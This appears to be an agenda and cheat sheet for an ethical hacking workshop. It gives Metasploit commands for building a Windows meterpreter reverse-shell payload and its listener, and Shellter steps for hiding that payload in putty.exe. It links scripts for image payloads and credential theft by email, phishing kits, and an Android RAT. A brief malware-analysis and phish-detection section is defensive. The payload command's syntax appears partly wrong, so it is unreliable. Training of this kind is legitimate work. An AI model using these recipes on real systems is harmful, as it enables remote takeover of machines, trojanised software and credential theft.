I AM A HACKER!

ETHICAL HACKING WORKSHOP

MIT COLLEGE

BRISK INFOSEC

CYBER TRUST & ASSURANCE

WORKSHOP - AGENDA

1. **Windows Login Bypass**
KONBOOT

2. **CREATING A MALWARE**
metasploit framework

Payload creation:

```
root@kali:~# msfconsole -p windows/meterpreter/reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker port> -f exe -o root/Desktop/file.exe
```

Listener creation

```
root@kali:~# msfconsole

msf> use exploit/multi/handler

msf>set payload windows/meterpreter/reverse_tcp

msf>set LHOST <attacker IP>

msf> set LPORT <attacker port>

msf> exploit -j
```

3. Injecting Payload into Legitimate Software

tool: shellter

metasploit:

```
msf> use exploit/multi/script/web_delivery

msf>set LHOST <attacker ip>

msf>set target 2

msf>set payload windows/meterpreter/reverse_tcp

msf>exploit
```

using putty.exe to inject

shellter:

1st option A

2nd option = putty.exe file location

3rd option enable stleathmode Y

4th option listed payload L

5th option use winexec

6th option set cmd: powershell command from metasploit

DONE

4. **IMAGE PAYLOAD**
DOWNLOAD CODE :
https://github.com/7h3pr0xy/penetest-with-powershell/blob/master/autoit-script.txt

convert png to icon
http://www.rw-designer.com/image-to-icon

5. **CREDS VIA EMAIL**
DOWNLOAD CODE :
https://github.com/7h3pr0xy/penetest-with-powershell/blob/master/auto-email-script.txt

6. ANALYSING MALWARE

Determining the File Type

Identifying File Type Using Manual Method

- https://mh-nexus.de/en/hxd/ - HxD - Freeware Hex Editor and Disk Editor

Identifying File Type Using Tools

```
$ file mini
mini: PE32 executable (GUI) Intel 80386, for MS
```

```
Windows
$ file notepad.exe
notepad.exe: PE32+ executable (GUI) x86-64, for MS
Windows
```

Determining File Type Using Python

```
: $ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
>>> import magic
>>> m = magic.open(magic.MAGIC_NONE)
>>> m.load()
>>> ftype = m.file(r'log.exe')
>>> print ftype
PE32 executable (GUI) Intel 80386, for MS Windows
```

Scanning the Suspect Binary with VirusTotal

- https://www.virustotal.com/#/home/upload

7. Social Enginnering attacks

PHISHING

- SHELLPHISH
  Download:
  https://github.com/thelinuxchoice/shellphish
- Blackeye
  Download:
  https://github.com/thelinuxchoice/blackeye

CUTEIT
Download: https://github.com/D4Vinci/Cuteit
python Cuteit.py

PHISH DETECTION

- PHISH DETECT ADDON
  Download:
  https://addons.mozilla.org/en-US/firefox/addon/phishdetect/

8. **ANDROID HACKING**

- SPYNOTE
  Download: https://drive.google.com/file/d/15-mny4YkpgRqTbtzxuIffF6aJFqZ0KRW/view

- NGROK
  Download: https://ngrok.com/

Contact Me : Linkdin - https://linkedin.com/in/venkatesh-c-s-44174711b